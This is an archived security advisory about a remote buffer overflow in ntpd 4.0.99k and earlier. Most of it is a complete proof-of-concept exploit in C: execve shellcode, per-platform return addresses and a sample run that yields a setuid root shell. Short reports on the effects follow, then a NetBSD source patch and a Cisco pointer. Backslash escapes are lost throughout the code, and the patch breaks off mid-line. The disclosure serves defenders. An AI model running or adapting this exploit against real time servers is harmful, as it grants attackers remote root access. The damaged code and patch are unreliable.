26th Sep 2002 [SBWID-4498]
COMMAND
ntpd remote buffer overflow
SYSTEMS AFFECTED
ntpd =< 4.0.99k
PROBLEM
Przemyslaw Frasunek found following. Network Time Protocol Daemon
(ntpd) shipped with many systems is vulnerable to remote buffer
overflow attack. It occurs when building response for a query
with large readvar argument. In almost all cases, ntpd is running
with superuser privileges, allowing to gain REMOTE ROOT ACCESS to
timeserver.
Althought it's a normal buffer overflow, exploiting it is much
harder. Destination buffer is accidentally damaged, when attack
is performed, so shellcode can't be larger than approx. 70 bytes.
This proof of concept code uses small execve() shellcode to run
/tmp/sh binary. Full remote attack is possible.
NTP is stateless UDP based protocol, so all malicious queries can
be spoofed.
/*
*
* Example of use on generic RedHat 7.0 box:
*
* [venglin@cipsko venglin]$ cat dupa.c
* main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
* [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
* [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
* [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
* ntpdx v1.0 by venglin@freebsd.lublin.pl
*
* Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
*
* RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
* [1] <- evil query (pkt = 512 | shell = 45)
* [2] <- null query (pkt = 12)
* Done.
* /tmp/sh was spawned.
* [venglin@cipsko venglin]$ ls -al /bin/bash
* -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define NOP 0x90
#define ADDRS 8
#define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/tmp/sh";
char bsd_execve[] =
"xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f"
"x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52"
"x51x53x50xebx18xe8xd8xffxffxff/tmp/shx01x01x01x01"
"x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04";
struct platforms
{
char *os;
char *version;
char *code;
long ret;
int align;
int shalign;
int port;
};
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
* *after* RET address. This values will vary from platform to platform.
*/
struct platforms targ[] =
{
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %sn",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
/* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p;
long *ap;
int i;
int sockfd;
struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(123);
sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket");
return -1;
}
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
memset(buf, NOP, PKTSIZ);
memcpy(buf, q2, sizeof(q2));
p = buf + align;
ap = (unsigned long *)p;
for(i=0;i<ADDRS/4;i++)
*ap++ = ret;
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)n", PKTSIZ,
strlen(shellcode));
fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[2] <- null query (pkt = %d)n", sizeof(q3));
fflush(stderr);
close(sockfd);
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, ofs, i;
long ret;
opterr = ofs = 0;
type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1)
switch((char)ch)
{
case 't':
type = atoi(optarg);
break;
case 'o':
ofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.plnn");
if (type < 0)
{
fprintf(stderr, "Please select platform:n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "t-t %d : %s %s (%p)n", i,
targ[i].os, targ[i].version, (void *)targ[i].ret);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with ntpd %snn",
targ[type].os, targ[type].version);
ret = targ[type].ret;
ret += ofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending queryn",
(void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align,
targ[type].shalign) < 0)
{
fprintf(stderr, "Failed.n");
exit(1);
}
fprintf(stderr, "Done.n");
if (!targ[type].port)
{
fprintf(stderr, "/tmp/sh was spawned.n");
exit(0);
}
exit(0);
}
This exploit worked on FreeBSD 4.2-STABLE with the stock 4.0.99b.
More sobering, blindly aiming the exploit code at a Sparc running
xntpd 3.4y caused it to seg. fault and core.
Both exploits crash 4.0.99b on FreeBSD 4.2-STABLE; the first dies
with SIGBUS, the second with SIGILL.
This exploit causes a denial of service, crashing the NTP daemon,
when run against a NetBSD system. The capability to exploit the
vulnerability and execute code has not yet been confirmed on
NetBSD, though it is presumed to exist. It is likely that minor
alterations to the detail of the published exploit code will
produce a viable remote root attack.
The version of xntp3 that shipped with Slackware 7.1 as well as
the version that was in Slackware -current contains a buffer
overflow bug that could lead to a root compromise.
SOLUTION
Unless systems depend critically on NTP for very accurate time, or
have very poor local clocks, the NetBSD project recommends that
running NTP daemons be temporarily disabled immediately, to
prevent the risk of compromise while fixes are being applied.
Systems running releases older than NetBSD 1.4 should be upgraded
to NetBSD 1.4.3 before applying the fixes described here. Systems
running NetBSD-current dated from before 2001-04-05 should be
upgraded to NetBSD-current dated 2001-04-05 or later. Systems
running NetBSD releases 1.4.x or 1.5 should apply the following
patches. These patches have been pulled up to the release
branches, users tracking the release branches should update to a
code newer than 2001-04-05. The two patches are the same, apart
from some formatting differences and relocation of the file that
occurred in the interim.
For NetBSD-1.5 (apply the following patch to
/usr/src/dist/ntp/ntpd/ntp_control.c):
--- ntp_control.c 2000/04/22 14:53:15 1.1.1.2
+++ ntp_control.c 2001/04/05 02:08:01 1.2
@@ -1812,9 +1812,22 @@
while (cp < reqend &&
isspace((int)*cp))
cp++;
- while (cp < reqend && *cp !=
- ',')
+ while (cp < reqend && *cp != ',') {
*tp++ = *cp++;
+ if (tp >=
+ buf + sizeof(buf) - 1) {
+#if 0 /* don't syslog for now - DoS potential on filling syslog */
+ msyslog(LOG_WARNING,
+ "Attempted "ntpdx" exploit from IP %d.%d.%d.%d:%d (possibly spoofed)n",
+ (ntohl(rmt_addr->sin_addr.s_addr) >> 24) & 0xff,
+ (ntohl(rmt_addr->sin_addr.s_addr) >> 16) & 0xff,
+ (ntohl(rmt_addr->sin_addr.s_addr) >> 8) & 0xff,
+ (ntohl(rmt_addr->sin_addr.s_addr) >> 0) & 0xff,
+ ntohs(rmt_addr->sin_port));
+#endif
+ return (0);
+ }
+ }
if (cp < reqend)
cp++;
*tp = '
Update (10 May 2002)
======
Cisco has posted an advisory and patch list stating that most (if not
all) their products are affected and should be upgraded ...
http://www.cisco.com/warp/public/707/ntp-pub.shtml